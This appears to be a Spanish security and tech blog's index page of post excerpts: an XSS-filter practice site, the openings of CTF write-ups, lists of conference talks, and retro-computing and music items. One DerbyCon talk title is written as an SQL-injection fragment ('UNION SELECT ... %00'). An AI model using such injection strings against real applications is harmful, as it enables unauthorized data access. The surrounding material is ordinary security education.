Con escape.alf.nu nunca ha sido más fácil aprender a saltarnos filtros de escape en aplicaciones web. Y digo nunca ha sido más fácil, porque la interfaz de este sitio nos muestra el código javascript que tenemos que atacar, un campo de texto donde escribimos nuestra inyección y en tiempo real, a medida que vamos escribiendo, nos va mostrando en otro campo de texto lo que el servidor recibe y la interpretación o ejecución del mismo. Esto nos ayuda muchísimo a la hora de conseguir una inyección exitosa, porque nos permite corregir rápidamente nuestra entrada y por lo tanto creo que es una idea genial para aprender y/o mejorar nuestros ataques XSS.

La charla de Elon Musk en TED

Elon Musk y un coche Tesla (click en la foto para ver la charla en TED)

Fantástica charla en TED de Elon Musk (quizás el único emprendedor que se podría realmente comparar con el éxito y las ambiciones de Google ) . También posiblemente sea la persona más cercana a la realidad de Iron Man ;) (Anthony "Tony" Edward Stark)

No os la perdáis, cuando he profundizado un poco más en la vida de este genio me he quedado realmente alucinado.

Domingo por la mañana, God is an Astronaut, …

Maravilla de canción y de grupo, al cual tuvimos el placer de ver este martes en directo en Madrid. Espectacular concierto.

Spotify y GrooveShark.

God is an Astronaut.

Foto CyberHades

Microhistorias: ¡Yo escribí FAT en un avión, por …

Gracias a la evolución del hardware, los programadores de hoy en día tenemos muchas más facilidades a la hora de programar, en el sentido de transparencia con respecto al hardware en términos generales, es decir, no tenemos que pensar en como la información va a moverse del disco a la memoria, de la memoria a los registros de la CPU, de como la memoria está organizada, etc.

Parte del código fuente de Facebook de agosto de …

En agosto de 2007, alguien mandó a Nik Cubrilovic dos ficheros con el código fuente de la página de inicio (index.php) y la de búsqueda (search.php) de Facebook. Cubrilovic entonces publicó un artículo (Facebook Source Code Leaked) en el que comentaba el hecho, pero no publicó el contenido de dichos ficheros.

El problema, según parece, radicaba en un fallo de configuración en los servidores de Facebook y afecta a ciertos usuarios. Cinco años después Cubrilovic ha publicado en Github ambos ficheros.

Remake de Super Mario Bros en HTML5 + Javascript

La combinación HTML5 + Javascript se ha convertido en una mezcla explosiva, la cual nos permite traer a nuestro navegador cosas impensables años atrás. Hemos visto como se ha portado juegos e incluso demos gráficas.

En esta entrada os enlazamos a un repositorio de Github donde podemos encontrar el juego de Super Mario Bros escrito totalmente en HTML5 y Javasctript.

El código fuente está bastante comentado, en caso de que te pique la curiosidad y quieras aprender algo del mismo. Y si lo que quieres es echar una partida, puedes ir a www.fullscreenmario.com (requiere Google Chrome, con Firefox no me funcionó y el resto de navegadores no los he probado). Si el sitio no funciona como me pasó a mi, puedes bajarte el fichero .zip con todo el contenido, y desde tu navegador, carga el fichero mario.html.

Introducción a la programación de Arduino con …

El tema del hacking con hardware está muy de moda hoy en día, gracias a dispositivos como Raspberry Pi, pero aún más gracias a Arduino.

Aunque el lenguaje de programación oficial de Arduino es C o C++, hemos visto como otros lenguajes se han sumado a estos, especialmente Python, que tan de moda está estos días.

Para aquellos que quieran introducirse en el arte del hacking de hardware usando Arduino y Python, este tutorial básico es un buen punto de inicio. Dicho tutorial está orientado para personas que nunca han tocado un Arduino, pero que tienen conocimientos básicos de Python.

¿Y tú de qué vas?, Sergio de los Santos

Sergio de los Santos

1) ¿Quién eres y a qué te dedicas?

Un tipo que se dedica a la seguridad de casualidad. Bastante torpe y lento, pero curioso y obstinado. Creo que mi nivel de "dar por entendido" algo, nunca está totalmente satisfecho. En cualquier caso  ya no tengo tiempo de nada, así que solo aspiro a que la profesión no se complique demasiado.  Me dedico a la seguridad informática. Me gusta la seguridad que rodea  Windows porque me resulta más sencillo. Malware, forenses,  consultoría y auditoría técnica, bastionado, administración... Como  no sé hacer muchas cosas a bajo nivel, se me da bien llevar equipos  con personas que tengan más conocimientos. Al parecer, dicen que  tengo buenas ideas y una visión "simple" de los problemas. Durante los últimos trece años, he tenido la suerte de no solo  conocer, sino trabajar con mucha gente del gremio. 11Paths, Hispasec, Virustotal...

Premios Bitacoras 2013

Ya puedes votar a tú blog favorito para las categorías que ofrecen los premios Bitacoras 2013.

Y CyberHades vuelve a estar rondando por allí … estamos en concreto en la categoría de Blog de Seguridad (aunque no sólo hablamos de seguridad, si es desde luego el tema más recurrente del blog). Aunque no tenemos nada que hacer frente a los blogs de maestros como SecurityByDefault ó Un Informático en el lado del mal, nos hace ilusión estar entre ellos (es todo un honor) y lo que realmente nos gusta es ver que nos habéis votado.

Introducción al ensamblador del 6502

Hace un tiempo publicamos una entrada con el mismo título que esta, donde os hablamos sobre un tutorial sobre la programación en ensamblador del microprocesador 6502.

La razón de está entrada es que Jorge Acereda ha hecho una traducción íntegra de dicho tutorial en nuestra lengua.

Si el inglés se interpuso entonces en tu camino, ya no tienes excusa para aprender un poco de ensamblador y 6502

Er docu der finde: La tecnología que nos rodea - …

Vídeos de la LinuxCon North America 2013

Desde el canal de Youtube de la Linux Foundation, ya podemos ver todos los vídeos de las charlas de la LinuxCon 2013 celebrada en Nueva Orleans el pasado mes de septiembre. Aquí tenéis la lista:

• Integrated Trace_ Using Virtio-Trace for a Virtualization Environment - Yoshihiro Yunomae, Hitachi
• Collab. GPL Compliance Through Non-Profit Entities - Bradley M. Kuhn, Software Freedom Conservancy
• Raspberry Pi: Getting Started and Creative Applications - Ruth Suehle, Red Hat
• Storage: Pulling Together Management Across the Cloud and Bare Metal - Ric Wheeler, Red Hat
• Stop Touching My Kernel Code! - Sasha Levin, Oracle
• Tux3 Progress Report: Towards a New General Purpose Filesystem for Linux - Daniel Phillips, Samsung
• Efficient Memory Management on Mobile Devices - Bartlomiej Zolnierkiewicz, Samsung
• Namespaces for Security - Jake Edge, LWN.net
• Successful Development Begins with the Heart of the Device - Leon Farasati, Qualcomm
• Intel MIC Coprocessor Driver, on the Frontiers of Linux & HPC - Nikhil Rao, Intel OTC
• Power Capping Linux - Srinivas Pandruvada, Intel
• Kernel CI Using Linaro's Automated Validation Architecture - Tyler Baker, Linaro
• Enabling Mobile Payments on Linux - Samuel Ortiz, Intel
• Improving Guest Management via the QEMU Guest Agent - Michael Roth, IBM
• UEFI and Linux - Kirk Bresniker, HP
• Why btrfs is the Bread and Butter of Filesystems - Matthias Eckermann, SUSE
• Integrated Trace' Using Virtio-Trace for a Virtualization Environment - Yoshihiro Yunomae, Hitachi
• CRIU: Time and Space Travel Service for Linux Applications - Pavel Emelyanov, Parallels
• Better Utilization of Storage Features From KVM Guests Via Virtio-Scsi - Masaki Kimura, Hitachi
• Xen Orchestra (XAPI and XenServer from the web) - Olivier Lambert, Vates
• Free yourself from the tyranny of your cloud provider! - Greg Kroah-Hartman, The Linux Foundation
• Bringing Xen dom0 to CentOS-6 - Karanbir Singh, CentOS Project
• ARM Servers and Xen -- Hypervisor Support at Hyperscale - Larry Wikelius, Calxeda
• Xen, XenServer, and XAPI: What's the Difference? - James Bulpin and Russell Pavlicek, Citrix Systems
• TripleO: OpenStack on OpenStack - Monty Taylor, HP
• Will Parallel Programming Ever Become Routine? - Paul E. McKenney, IBM
• OpenStack/Quantum SDN-Based Network Virtualization with Ryu - Kei Ohmura, NTT
• Modern Linux Servers with cgroups - Brandon Philips, CoreOS
• OpenStack and jclouds in the Evolving App Landscape - Rags Srinivas, Rackspace
• Building Web Scale Using Open Source on the Internet Assembly Line - Thomas Hatch, SaltStack
• Compositing for Free—Reducing Copies on the Desktop - Keith Packard, Intel
• QEMU 2.x and Beyond: The Foundation of the Open Cloud - Anthony Liguori
• Culture, Code, Community and Conway: Lessons from OpenStack - Joshua McKenty, Piston Cloud
• Building IaaS wit Apache CloudStack - David Nalley, Apache
• Bluetooth Smart Devices and Low Energy Support on Linux - João Paulo Rechi Vita, INdT
• Linux Transparent Memory Compression - Seth Jennings, IBM
• OpenStack Performance & Scale - Mark Wagner, Red Hat
• DistCI, Continuous Integration at Scale - Heikki Nousiainen, F-Secure
• LLVMLinux: The Linux Kernel with Dragon Wings - Behan Webster, Converse in Code Inc.
• Transforming XenServer Into a Proper Open-Source Project - James Bulpin, Citrix
• Converged Infrastrucure with Open Source - Theron Conrey, Red Hat
• Automating Cloud Testing and Deployment with Deploy - Kay Williams, Deploy Project
• Xen: This Is Not Your Dad's Hypervisor! - Demetrious Coulis, Sr Prin. Product Mgr, CA Technologies
• Xen for Beginners - Bryan Smith, Tacit Labs, Inc.
• Network Multi-tenancy in Xen-based Clouds - Chiradeep Vittal, Citrix Systems
• Building the Rackspace Open Cloud with XenServer and OpenStack -Paul Voccio, Rackspace
• Ceph, Xen, and CloudStack: Semper Melior - Patrick McGarry
• Welcome and Introduction - Xen Project User Summit
• Xen User Summit - Navis Lighthouse Security Audit Appliance - Grant McWilliams, Coalfire Systems
• LinuxCon and CloudOpen 2013: Developers, The New Superpower - Jonathan Bryce, OpenStack
• LinuxCon & CloudOpen North America 2013 - New Frontiers - Dirk Hohndel, Intel
• LinuxCon & CloudOpen North America 2013 - Linux Kernel Panel
• Test Your Linux Trivia Knowledge, Live from LinuxCon and CloudOpen in New Orleans
• LinuxCon & CloudOpen North America - Before I Die - Candy Chang
• LinuxCon & CloudOpen North America 2013 - Linux & Gaming - Gabe Newell, Valve
• LinuxCon & CloudOpen North America 2013 - The Technium - Kevin Kelly
• Linux, Cloud, and Next Generation Workloads - Brad McCredie, IBM
• LinuxCon & CloudOpen North America 2013 - Open Matters: HP & OpenStack - Brian Aker, HP
• What Five Years of Android Has Meant - Chris DiBona, Google
• LinuxCon & CloudOpen North America 2013 - Shiny New Toys - Eben Upton, Raspberry Pi
• LinuxCon & CloudOpen North America 2013 - State of Linux - Jim Zemlin, The Linux Foundation

Cómo aprender Emacs

Para aquellos que quieran aprender Emacs o los que lo usen de vez en cuando, aquí tenéis una plantilla muy original y con las funciones básicas que debemos conocer para empezar a sacar buen provecho de este magnífica editor. Haz click en la imagen para acceder a una versión más grande.

Fuente original

Vídeos de la BruCON 0x05 (2013)

Otra serie de vídeos sobre seguridad informática. Estos son de la edición 2013 de BruCON 0x05.

• Devops Panel (part 2)
• Lightning Talks Session #1
• David Mortman's Keynote
• David Perez, Jose Pico - Geolocation of GSM mobile devices
• Russ Gideon - Paint by Numbers vs. Monet
• Robert Graham - Data-plane networking
• Dan Guido's Keynote
• Stephan Chenette - Building Custom Android Malware for Penetration Testing
• Jake Valletta - CobraDroid
• TB. Henriques, T. Martins, J. Gouveia - Realtime analysis and visualization of ...
• Devops Panel
• Aloria - .NET: The Framework, the Myth, the Legend
• Erin Jacobs, Zack Fasel - Taking the BDSM out of PCI-DSS through open-source solutions
• Amelia Andersdotter's keynote
• Vaagn Toukharian - HTTP Time Bandit

Vídeos de la Louisville Metro InfoSec

De nuevo, desde la web Irongeek podemos encontrar más vídeos interesantes, esta vez de la conferencia Louisville Metro InfoSec, celebrada el pasado 3 de octubre.

• Mobile Security and the Changing Workforce - Matthew Witten
• Weaponized Security - Kellman Meghu
• Information Security in University Campus and Open Environments - Adrian Crenshaw
• Past Due: Practical Web Service Vulnerability Assessment for Pen-Testers, Developers, and QA - Jeremy Druin
• STRC: The Security Training and Research Cloud - Jimmy Murphy
• Assessing Mobile Applications with the MobiSec Live Environment - Nathan Sweeney
• Attacking iOS Applications - Karl Fosaaen
• Can cloud and security be used in the same sentence? - Joshua Bartley
• Breaking SCADA Communications - Mehdi Sabraoui
• FBI – InfraGard - Current Cyber Trends
• How Do I Get There from Here? Security-to-Privacy Career Migration - Michael Carr
• Assessing the Risk of Unmanaged Devices (BYOD) - Pete Lindstrom
• Acquisitions…your latest zero day - Mitch Greenfield/Scott MacArthur
• NIST and your risky application - Conrad Reynolds
• Convergence: Configurations, Vulnerabilities and Unexpected Changes - Brian Cusack
• What Healthcare Can Learn from the Banking Industry - Jim Czerwonka
• Eliminating Data Security Threats And BYOS - David Braun
• Awards

Microhistorias: La espectacular campaña "Think …

Jim Henson y la rana Gustavo

Todos recordamos el rompedor anuncio del Macintosh en 1984, pero no nos acordamos de otra no menos espectacular campaña de marketing que Apple realizó en los años 90.

El eslogan era sencillo pero directo: "Think different" (posiblemente en referencia al eslogan de IBM de la época, que era "THINK").

El objetivo principal de esta campaña era renovar la imagen de Apple después del fatídico anuncio "Lemmings" de 1985, el cual intentaba volver a conseguir el mismo éxito que el gran anuncio de Ridley Scott. Pero el resultado fue una verdadera catástrofe para Apple. Y además, para hundir más a la empresa, Jobs dejó la compañía ese mismo año (o mejor dicho, lo despidieron).

Domingo por la mañana, Bloodbuzz Ohio, The …

Spotify & GrooveShark.

The National.

Er docu der finde: La obsesión por los alienígenas

The MagPi 17, mes de octubre

Ya está listo para descarga el número 17 de la revista electrónica The MagPi correspondiente a este mes de octubre.

El índice es el siguiente:

• BRICKPI - LEGO NXT INTERFACE
• THE PICAMERAL EYETRACKER
• USB ARDUINO LINK
• MUNTS I/O EXPANSION BOARD
• LONG-RANGE WIRELESS
• PHYSICAL COMPUTING
• < XML />
• COMPETITION
• THIS MONTH'S EVENTS GUIDE
• THE C CAVE
• SCRATCH PATCH
• FEEDBACK

Pudes descargar del PDF desde aquí o leearla desde el navegador.

Vídeos de la NDC 2013, Norwegian Developers …

Durante del 12 al 14 de junio de este año se celebró la conferencia de desarrolladores noruega en Oslo, NDC 2013. El evento está lleno de charlas y muchas de ellas tienen muy buena pinta.

Para no perder la costumbre, aquí os dejamos la lista de los vídeos de las charla:

• The Science of Communities Behind Software
• Accelerating Agile: hyper-performing teams without the hype
• Making Magic: Combining Data, Information, Services and Programming, at Internet-Scale
• Continuously Deploying Complex Apps Doesn't Have to Suck!
• Building Real World Cloud Apps with Windows Azure - Part 1
• Concurrent and High-Performance Programming in .NET with TPL, async/await, and Dataflow
• Creating Web Experiences with Users in Mind
• SP2013 Workflows and you
• Better Software — No Matter What
• Effective Leadership: How to avoid anti-learning Agile advice
• Clean Architecture and Design
• Powershell for developers
• Building Real World Cloud Apps with Windows Azure - Part 2
• The Abstractions of AngularJS
• From requests to responses: a journey into the ASP.NET Web API runtime architecture
• Cage Match - EmberJS vs. Angular
• Better Software — No Matter What
• Refactoring Noda Time (part 1)
• Do it right, then do the right thing
• Succeeding with Functional-first Programming in Industry
• Windows - Having its ass kicked by Puppet and PowerShell since 2012
• Cloud Messaging with Node.js and RabbitMQ
• The road to Atlantis - Right past that bend beyond Temporal Coupling Lane.
• Backbone is supposed to give me structure, but everything is still just a mess
• SharePoint 2013 Search - What's new and cool
• Better Software — No Matter What
• Patterns of Effective Teams
• Developing Offline Applications with HTML 5
• (Re-)architecting for Continuous Delivery
• Racing Thru the Last Mile: Cloud Delivery Web-Scale Deployment
• Practical Publishing for Profitable Programmers
• Ember.js in Action
• Windows 8 Store Apps – An Introduction
• Better Software — No Matter What
• Building Applications with ASP.NET MVC (Workshop)
• Reintroducing Business Analysis into the Agile Stream and The Need for Structuring the Conversation with Stakeholders
• All you need to know about TypeScript
• You are not (only) a software developer! - Simplicity in practice
• Brewing Beer with Windows Azure
• Principles of Component Design.
• Patterns of large-scale JavaScript applications
• Live coding: The Windows Store Apps showdown - C# vs JavaScript
• Better Software — No Matter What
• Building Applications with ASP.NET MVC (Workshop)
• ++ Building Open Source Communities Through Social Architecture
• Faking Homoiconicity in C# with graphs
• Chef for developers
• Reactive meta-programming with drones
• .NET Rocks - Functional Programming Panel: Type systems and static typing - saving your ass or getting in your face
• How to cope with overnight success - Scaling your web app fast and cheap
• From Windows Forms to WinRT
• Better Software — No Matter What
• Building Applications with ASP.NET MVC (Workshop)
• Real World Polyglot Persistence
• Adopting Continuous Delivery
• Hacking .NET(C#) Application: An Unfriendly Territory
• Ground Control to Major Tom
• Require JS
• How to Change the World
• Windows 8 Store Apps – From Turtle to Rabbit
• Building clean and cohesive concurrent systems with F# agents
• CQRS Hypermedia with WebAPI
• UX by Developers
• Hacking .NET(C#) Application: Code of the Hacker
• Maintainable CSS - The Next Frontier of Front-End Engineering
• Abusing C#
• Don't let your process hide your ignorance
• Asynchronous Programming on the .NET Platform
• Windows Phone 8 – The advanced session
• The Seven Pillars Of Collaboration - Why agile teams need HISTORY in order to collaborate
• Telephones and postcards: our brave new world of messaging
• All projects should do usability testing!
• Securing ASP.NET Web APIs and HTTP Services
• Functional Programming You Already Know
• The Javascript Inferno - A Decent Into the Client-side MVC Netherworld
• Your Path through Agile Fluency
• Developing Games with Windows 8
• The Issuu Ecosystem - a real life perspective on web-scale infrastructure
• The Seven Pillars Of Collaboration - Why agile teams need HISTORY in order to collaborate
• Successfully retrofitting extensibility into established software products
• Information Alchemy: Presentation Patterns (& Anti-patterns)
• People, Process, Tools – The Essence of DevOps
• Erlang: a jump-start for .NET developers
• Being an Anti-social Geek is harmful
• Make Impacts, Not Software
• Sharing code with MVVM Light in Windows 8 and Windows Phone
• Defensive Programming 101 v3
• The Architecture of Uncertainty
• Web Usability on a Budget
• OAuth2 – The good, the bad and the ugly
• Certifying your car with Erlang
• Advanced HTTP Caching and patterns for Ninja Unicorns
• How much is a great developer worth?
• Tekpub's Full Throttle! Live on Stage with Jon Skeet
• Data is everywhere. Also in your Windows 8 app
• MVVM Without XAML: Writing Cross-Platform Mobile Applications with ReactiveUI
• A Developer's Guide to Design Frameworks (and More!)
• Rediscovering JavaScript
• What Every Hipster Should Know About Functional Programming
• Game on: Developing HTML5 games
• Growing software from examples
• Applied MVVM in Windows 8 apps: not your typical MVVM session!
• Lightning talks
• Enterprise hipster-apps with SharePoint and JavaScript
• SQL Server's Last Breath
• Architecting PhoneGap Applications
• Rigorous, Professional JavaScript
• ClojureScript: Lisp's Revenge
• How simple maths and BELIEF can help you coach people to change
• Leave the backend to us: building mobile apps with Azure Mobile Services
• Lightning talks
• Refactoring Noda Time (part 2)
• NuGet for the Enterprise
• HTML5 JavaScript APIs
• Introduction to Clojure
• Rigging Plan B: How To Go Live Safely With Bubbles, Domain Toggles And Obsessive Monitoring
• Sharing C# across Windows, Android and iOS using MvvmCross
• TDD, where did it all go wrong
• Mining your Creativity Mind
• Doing SPA with MVC & KnockoutJS
• Code-First NoSQL with .NET and Couchbase
• Lightning talks
• The Curious Clojureist
• Grid Computing with 256 Windows Azure Worker Roles & Kinect
• Real Cross-platform Mobile Applications - The Anti-Pattern
• Bleeding edge ASP.NET: See what is new and next for MVC, Web API, SignalR and more…
• Effective GitHubbing: The GitHub Flow
• Value of unit test: way from good design to easy maintenance
• Big Object Graphs Up Front
• Building Third-party Widgets and APIs using JavaScript
• Generic Programming Galore using D
• Continuously Deliver with ConDep
• iOS with C# using Xamarin
• Simulation Testing
• Debugging your mind
• Test Driving Nancy
• Writing Usable APIs in Practice
• Test-Driven JavaScript Master Class
• Exploring the C# Scripting Experience with scriptcs
• Continuous Delivery Zen on Windows Azure
• Android with C# using Xamarin
• Race Conditions, Distribution, Interactions--Testing the Hard Stuff and Staying Sane
• Building Startups and Minimum Viable Products using Lean Startup techniques
• Why Document Databases supercharge your app development
• Refactoring Noda Time (part 3)
• Service oriented architectures (hardcore separation of concerns)
• The Hip Hop Virtual Machine
• Succeeding with TDD: Pragmatic Techniques for effective mocking
• Web diagnostics with a Glimpse in ASP.NET
• Under the covers with ASP.NET SignalR
• Automated release management with TeamCity & OctopusDeploy
• Uncomfortable with Agility: What has Ten+ Years got us?
• Running with Ravens
• Deep C++
• Bare-Knuckle Web Development
• C# 5
• Running OSS Projects: From Zero to Sixty
• Building URL-Driven Apps with Ember.js
• Don’t do that, do this! Recommendations from the ASP.NET team
• Understanding Dependency Injection and Those Pesky Containers
• Holistic testing

¿Y tú de qué vas?, Niko (Nikotxan)

1) ¿Quién eres y a qué te dedicas?

Soy Niko, creador de Cálico Electrónico y me dedico a la animación Flash tanto para hacer webtoons del tipo Cálico como para hacer trabajos para publicidad, televisión o cine.

También soy mamporrero de bichos palo y sexador de chimpancés a tiempo partido.

2) ¿Qué hardware utilizas en el trabajo y en casa?

Ordenador pepino, monitor más grande que Australia, wacom y cintiq ahí, a todo poder

No cON Name CTF Pre Quals: Access Level 3

En este tercer y último reto nos enfrentamos a un fichero ELF. Este nivel fue el más fácil de los tres. Como veremos es súper sencillo.

Una vez bajamos el binario, lo primero es ejecutar file:

tuxotron@tuxotron-T530 ~/ctf/noconname2013quals $ file level.elf level.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xb589d432799bf15343387fea63d4bdc00faa177c, not stripped

Está compilado con símbolos y demás. Esto nos facilitará mucho la vida. Lo siguiente fue pasarle el comando strings, pero éste no arrojaba nada interesante.

No cON Name CTF Pre Quals: Access Level 2

En el segundo nivel nos enfrentamos a una aplicación Android. Lo primero que hacemos aquí es expandir el .apk con la herramienta apktool.

Primero miramos el contenido del fichero AndroidManifest.xml, donde podemos ver la clase inicial de la aplicacion:

También nos encontramos en el directorio res con un subdirectorio llamado raw, el cual contiene 17 imágenes, 16 de las mismas parecen ser trozos de un QR-Code. Parece que nuestro objetivo es leer dicho código. El problema es que no sabemos el orden de los trozos.

No cON Name CTF Pre Quals: Access Level 1

En el primer nivel o el primer reto de la Pre Qual del CTF de la NoConName , nos encontramos con una página en la que se nos pide un clave (Key). Cuando introducimos algún texto, inmediatamente nos muestra un mensaje: Invalid Password! (a menos que hayas introducido una clave válida en el primer intento, lo cual me sorprendería :)).

Lo primero que podemos apreciar es que el mensaje viene de la típica ventana que muestra el navegador cuando se ejecuta un alert en javascript. Esto nos dice que la comprobación de la contraseña se hace (al menos parte de la misma) en el lado del cliente, es decir en nuestro navegador.

Vídeos de la DerbyCon 3.0

A través de la magnífica web de Irongeek, podemos ver todos los vídeos de las charlas dadas (tracks 1 y 2 y algunas de la 3) en la DerbyCon 3.0.

La lista de los vídeos publicados es:

• Scanning Darkly – HD Moore (keynote)
• Kinetic Pwnage: Obliterating the Line Between Computers and the Physical World – Ed Skoudis (keynote)
• Look Ma – No Exploits! – The Recon-ng Framework – Tim “LaNMaSteR53? Tomes
• Cognitive Injection: Reprogramming the Situation-Oriented Human OS – Andy Ellis
• It's Only a Game: Learning Security through Gaming – Bruce Potter
• Practical Exploitation Using A Malicious Service Set Identifier (SSID) – Deral Heiland
• IOCAware – Actively Collect Compromise Indicators and Test Your Entire Enterprise – Matt Jezorek and Dennis Kuntz
• Ooops – Now What? :: The Stolen Data Impact Model (SDIM) – Brent Huston
• JTAGulator: Assisted discovery of on-chip debug interfaces – Joe Grand
• Cash is King: Who’s Wearing Your Crown? – Tom Eston and Spencer McIntyre
• Anti-Forensics: Memory or something – I forget. – int0x80
• Seeing red in your future? – Ian Iamit
• Security Sucks – and You’re Wearing a Nursing Bra – Paul Asadoorian
• TMI: How to attack SharePoint servers and tools to make it easier – Kevin Johnson and James Jardine
• Windows Attacks: AT is the new black – Rob Fuller and Chris Gates
• The High Risk of Low Risk Applications – conrad reynolds
• How Good is Your Phish – @sonofshirt
• It’s Okay to Touch Yourself – Ben Ten (Ben0xA)
• Identifying Evil: An introduction to Reverse Engineering Malware and other software – Bart ‘d4ncind4n’ Hopper
• Collaborative Penetration Testing With Lair – Tom Steele and Dan Kottmann
• How Im going to own your organization in just a few days. – RazorEQX
• Malware Automation – Christopher Elisan
• Pass-The-Hash 2: The Admin’s Revenge – Skip Duckwall and Chris Campbell
• What’s common in Oracle and Samsung? They tried to think differently about crypto. – L·szlÛ TÛth – Ferenc Spala
• The Cavalry Is Us: Protecting the public good and our profession – Josh Corman
• Burning the Enterprise with BYOD – Georgia Weidman
• Love letters to Frank Abagnale (How do I pwn thee let me count the ways) – Jayson E. Street
• Getting the goods with smbexec – Eric Milam(brav0hax) and Martin Bos (purehate)
• The Message and The Messenger – James Arlen
• Shattering the Glass: Crafting Post Exploitation Tools with PowerShell – Matt Johnson
• 50 Shades of RED: Stories from the "Playroom" – Chris Nickerson
• Cheat Codez: Level UP Your SE Game – Eric Smith
• Beyond Information Warfare “You Ain’t Seen Nothing Yet” – Winn Schwartau
• My Experiments with truth: a different route to bug-hunting – Devesh Bhatt
• Stop Fighting Anti-Virus – Integgroll
• The Art and Science of Hacking Any Organization – Tyler Wrightson
• Living Off the Land: A Minimalist’s Guide to Windows Post-Exploitation – Christopher Campbell & Matthew Graeber
• Cracking Corporate Passwords – Exploiting Password Policy Weaknesses – Minga / Rick Redman
• How the Grid Will Be Hacked – Josh Axelrod and Matt Davis
• Ownage From Userland: Process Puppeteering – Nick Cano
• help for the helpdesk – Mick Douglas
• ) UNION SELECT `This_Talk` AS (‘New Exploitation and Obfuscation Techniquesí)%00 – Roberto Salgado
• Weaponizing your Coffee Pot – Daniel Buentello
• Exploiting_the_Zeroth_Hour(); Developing your Advanced Persistent Threat to Pwn the Network – SOLOMON SONYA and NICK KULESZA
• Practical OSINT – Shane MacDougall (NOTE THAT THIS IS AN ADULT ONLY TALK – 18+ or older)
• Phishing Like The Pros – Luis “Connection” Santana
• Stop making excuses; it’s time to own your HIV (High Impact Vulnerabilities) – Jack D. Nichelson
• Raspberry Pi – Media Centers – and AppleTV – David Schuetz
• Uncloaking IP Addresses on IRC – Derek Callaway

Introducción a la Ingeniería Inversa del Software …

Ya hemos hablado aquí varias veces de las clases ofrecidas por OpenSecurityTraining. En esta ocasión nos hacemos eco de la actualización de la clase a la Introducción de la Ingeniería Inversa del Software, que ha sido renovada con material nuevo: Dealing with DLLs, Other Languages y Basic RE algorithms.

Los nuevos vídeos son los siguientes:

• Day 1 Part 1 (5:25) - What is RE and What Can it Tell Me?
• Day 1 Part 2 (30:03) - Refresher
• Day 1 Part 3 (34:57) - Know Your Tools
• Day 1 Part 4 (2:24) - The basic RE algorithm
• Day 1 Part 5 (7:14) - Applying the RE Algorithm to the Bomb Lab
• Day 1 Part 6 (22:29) - Lab Outline
• Day 1 Part 7 (6:33) - Creating the Bomb Lab Answers File
• Day 1 Part 8 (6:41) - Phase 2 Introduction
• Day 1 Part 9 (28:23) - Phase 2 Walkthrough
• Day 1 Part 10 (6:54) - Phase 3 Introduction
• Day 1 Part 11 (22:21) - Phase 3 Walkthrough
• Day 1 Part 12 (8:57) - Phase 4 Introduction
• Day 1 Part 13 (14:08) - Phase 3 Introduction
• Day 1 Part 14 (32:40) - Debugging
• Day 1 Part 15 (3:32) - Day 1 review
• Day 2 Part 1 (15:12) - Day 1 review 2
• Day 2 Part 2 (11:21) - Phase 5 Introduction
• Day 2 Part 3 (22:14) - Phase 5 Walkthrough
• Day 2 Part 4 (20:50) - Phase 6 Introduction
• Day 2 Part 5 (27:47) - Phase 6 Introduction 2
• Day 2 Part 6 (19:25) - Phase 6 Walkthrough
• Day 2 Part 7 (38:31) - Phase 6 Walkthrough 2
• Day 2 Part 8 (12:15) - Analyzing C++
• Day 2 Part 9 (7:39) - Next Class, Other Languages, & Day 2 Review

También está disponibles en Youtube con calidad HD. Y el contenido de la clase más algunos binarios para las prácticas lo podéis descargar desde aquí. El fichero .zip está protegido con contraseña para evitar problemas con los antivirus. La contraseña es "reclass2013", sin las comillas.

Introduction To Reverse Engineering Software

Vuelve "La Pira de Hades"

(click para ampliar, y aquí una noticia que tiene que ver con la viñeta de Pesqui)

Nuestro gran amigo y compañero del blog okajey comenzó una sección llamada "La Pira de Hades". Ahora tenemos un nuevo fichaje, Pesqui de Urbanarte, todo un crack, que va continuar con esta sección.

Nos vemos en “La Pira de Hades”.

Domingo por la mañana, Bob Sinclair, Summer …

No está en Spotify pero sí en GrooveShark, donde hay varias versiones.

Bob Sinclair

Presentaciones en modo texto con Vim

Esto es sólo apto para retro-geeks :). Si tienes que hacer una presentación muy geek y/o sobre algún tema retro, esto te va a gustar.

Vimdeck es una utilidad que se acopla con Vim para generar presentaciones en modo texto. Recalcar que no es un plugin para Vim.

Vimdeck está escrito en Ruby y lo puedes instalar a través de gem:

gem install vimdeck

Esta herramienta espera un fichero escrito en formato Markdown y a partir de éste genera una serie de ficheros, concretamente uno por cada diapositiva. Además de esto, añade tres operaciones de teclado:

Los peligros del uso de las redes sociales bajo …

Fuente

Er docu der finde: Sirius

Vídeos de la Ruxcon 2012

Ya están disponibles los vídeos de la pasada Ruxcon 2012. Recuerda que las presentaciones también están disponibles.

• Reverse Engineering a Mass Transit Ticketing System - TrainHack
• Hardware Backdooring is Practical - Jonathan Brossard
• Injecting PHY-Layer Packets without a Bug or your Radio - Travis Goodspeed
• How To Catch a Chameleon: Its All In Your Heap - Steven Seeley
• Tracking vulnerable JARs - David Jorm
• A Tale of Two Firefox Bugs - Fionnbharr Davies
• Bluetooth Packet Sniffing Using Project Ubertooth - Dominic Spill
• Thar' be Vuln. ID's Here - A Data Mining Case Study Matt Jones
• Detecting Source Code Re-use through Metadata and Context Partial Hashing - Daniel Cabezas
• Advanced Persistent Response - Peleus Uhley
• Finding Needles in Haystacks (The Size of Countries) - Michael Baker
• Binary Instrumentation for Android - Collin Mulliner
• Examination of the VMWARE ESXi Binary Protocol Using Canape - Alex Chapman
• Monitoring Repositories for Fun and Profit - Louis Nyffenegger
• Windows Kernel Fuzzing For Beginners - Ben Nagy
• Firefox OS Application Security - Paul Theriault
• Targeted Malware -- Sophisticated Criminals or Babytown Frolics? - Josh Grunzweig & Ryan Merritt
• Exploiting Internal Network Vulns via the Browser Using BeEF Bind - Ty Miller & Michele Orru
• The Impacts of Advancing Technology on Computer Forensics and E-Discovery - Adam Daniel
• The 3 Rings of the Data Breach Circus - Mark Goudie
• FooCodeChu for Software Analysis, Malware Detection & Vuln Research - Silvio Cesare
• Practical Attacks on Payment Gateways - Eldar Marcussen
• De Mysteriis Dom Jobsivs: Mac EFI Rootkits - snare

Microhistorias: Jobs la película, un despropósito …

Ayer fui a ver la película de Jobs y aunque me entretuvo, en general me decepcionó. Después de haber leído prácticamente todos los libros publicados sobre Apple y Steve Jobs, los datos que aporta Andy Hertzfeld así como la biografía de Wozniak (al que tuve el honor de conocer y estar hablando un buen rato con él), creo que se ha perdido una estupenda oportunidad de hacer una buena película de Jobs y Apple.

